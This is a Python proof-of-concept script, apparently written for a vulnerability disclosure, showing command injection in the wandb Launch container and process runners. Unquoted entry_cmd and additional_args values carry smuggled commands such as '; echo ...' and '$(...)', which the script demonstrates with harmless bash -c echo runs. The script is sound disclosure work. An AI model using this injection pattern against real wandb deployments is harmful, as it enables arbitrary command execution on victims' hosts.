#!/usr/bin/env python3 """ PoC: wandb Launch local container runner command injection Tested on: wandb 0.24.2 CWE-78: OS Command Injection Demonstrates that entry_cmd and additional_args are NOT shell-escaped when passed to bash -c, allowing shell metacharacter injection. """ import shlex import subprocess def demonstrate_injection(): """Show command injection via unescaped entry_cmd.""" print("=" * 70) print("[1] Command injection via entry_cmd (entrypoint)") print("=" * 70) from wandb.sdk.launch.runner.local_container import get_docker_command # Normal entrypoint normal_cmd = get_docker_command( "my-image:latest", {"WANDB_API_KEY": "secret123"}, entry_cmd=["python", "train.py"], ) normal_str = " ".join(normal_cmd) print(f"[*] Normal command:") print(f" {normal_str}") print() # Malicious entrypoint with shell metacharacters malicious_cmd = get_docker_command( "my-image:latest", {"WANDB_API_KEY": "secret123"}, entry_cmd=["python", "train.py; echo INJECTED_COMMAND_EXECUTED"], ) malicious_str = " ".join(malicious_cmd) print(f"[!] Malicious command (entry_cmd NOT quoted):") print(f" {malicious_str}") print() has_unquoted_semi = "; echo" in malicious_str print(f"[!] Unquoted semicolons in command: {has_unquoted_semi}") print(f"[!] bash interprets ';' as command separator:") print(f" Command 1: docker run ... python train.py") print(f" Command 2: echo INJECTED_COMMAND_EXECUTED") print() safe_demo = "echo 'NORMAL_CMD'; echo 'INJECTED_CMD'" result = subprocess.run(["bash", "-c", safe_demo], capture_output=True, text=True) print(f"[*] Demo: bash -c \"{safe_demo}\"") print(f" Output:") for line in result.stdout.strip().split('\n'): print(f" {line}") print(f" [VULN] Both commands executed by bash!") def demonstrate_additional_args_injection(): """Show command injection via additional_args.""" print("\n" + "=" * 70) print("[2] Command injection via additional_args (override_args)") print("=" * 70) from wandb.sdk.launch.runner.local_container import get_docker_command malicious_cmd = get_docker_command( "my-image:latest", {}, entry_cmd=["python", "train.py"], additional_args=["--config", "$(echo SUBSHELL_EXECUTED)"], ) malicious_str = " ".join(malicious_cmd) print(f"[!] Malicious command (additional_args NOT quoted):") print(f" {malicious_str}") print(f" -> $(...) is executed by bash on the HOST") print() demo = "echo config=$(echo SUBSHELL_RAN)" result = subprocess.run(["bash", "-c", demo], capture_output=True, text=True) print(f"[*] Demo: bash -c \"{demo}\"") print(f" Output: {result.stdout.strip()}") print(f" [VULN] Subshell command was executed!") def demonstrate_inconsistency(): """Show the inconsistent escaping pattern.""" print("\n" + "=" * 70) print("[3] Inconsistent escaping in get_docker_command()") print("=" * 70) from wandb.sdk.launch.runner.local_container import get_docker_command cmd = get_docker_command( "my-image:latest", {"KEY": "val; evil"}, entry_cmd=["python", "train.py; evil"], docker_args={"gpus": "all; evil"}, additional_args=["--lr", "0.01; evil"], ) components = [ ("env_vars values", "shlex.quote(env_value)", "SAFE"), ("docker_args values", "shlex.quote(str(value))", "SAFE"), ("image", "shlex.quote(image)", "SAFE"), ("entry_cmd[0]", "entry_cmd[0] # RAW", "VULNERABLE"), ("entry_cmd[1:]", "entry_cmd[1:] # RAW", "VULNERABLE"), ("additional_args", "additional_args # RAW", "VULNERABLE"), ] print(f" {'Component':<25} {'Code':<40} {'Status'}") print(" " + "-" * 80) for comp, code, status in components: print(f" {comp:<25} {code:<40} {status}") print() print(" [VULN] 3 out of 6 components are NOT shell-escaped") print(" [VULN] The command is then passed to bash -c (line 204)") def demonstrate_local_process(): """Show local_process.py has the same vulnerability.""" print("\n" + "=" * 70) print("[4] local_process.py -- same pattern") print("=" * 70) print(" local_process.py:66-72:") print(" for env_key, env_value in env_vars.items():") print(" cmd += [f'{shlex.quote(env_key)}={shlex.quote(env_value)}'] # QUOTED") print(" if entry_point is not None:") print(" cmd += entry_point.command # NOT QUOTED") print(" cmd += launch_project.override_args # NOT QUOTED") print(" command_str = ' '.join(cmd).strip()") print(" run = _run_entry_point(command_str, ...) # -> bash -c") print() print(" Same inconsistency: env vars quoted, commands not quoted.") print(" [VULN] Identical injection pattern in local_process runner") if __name__ == "__main__": print("=" * 70) print("wandb Launch Command Injection PoC") print("CVE: Pending | CWE-78 | wandb <= 0.24.2") print("=" * 70) demonstrate_injection() demonstrate_additional_args_injection() demonstrate_inconsistency() demonstrate_local_process() print("\n" + "=" * 70) print("SUMMARY:") print(" entry_cmd and additional_args are NOT shell-escaped") print(" But the command runs via bash -c (line 204)") print(" Shell metacharacters in entrypoint -> RCE on HOST") print(" Impact: Arbitrary command execution outside Docker container") print("=" * 70)